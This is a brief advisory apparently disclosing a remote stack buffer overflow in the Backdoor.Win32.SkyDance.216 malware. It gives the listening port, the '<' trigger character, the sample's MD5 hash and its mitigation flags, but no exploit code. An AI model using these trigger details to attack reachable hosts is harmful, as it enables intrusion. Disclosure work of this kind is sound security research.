Threat: Backdoor.Win32.SkyDance.216
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 4000. Third-party attackers who can reach an infected system can trigger a buffer overflow by sending a specially crafted packet. Interestingly, one specific character "\x3c" the "<" symbol seems required to trigger the overflow.
Type: PE32
MD5: 694ecf256c97ef6e206e2073d37e5944
Vuln ID: MVID-2021-0222
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/22/2021
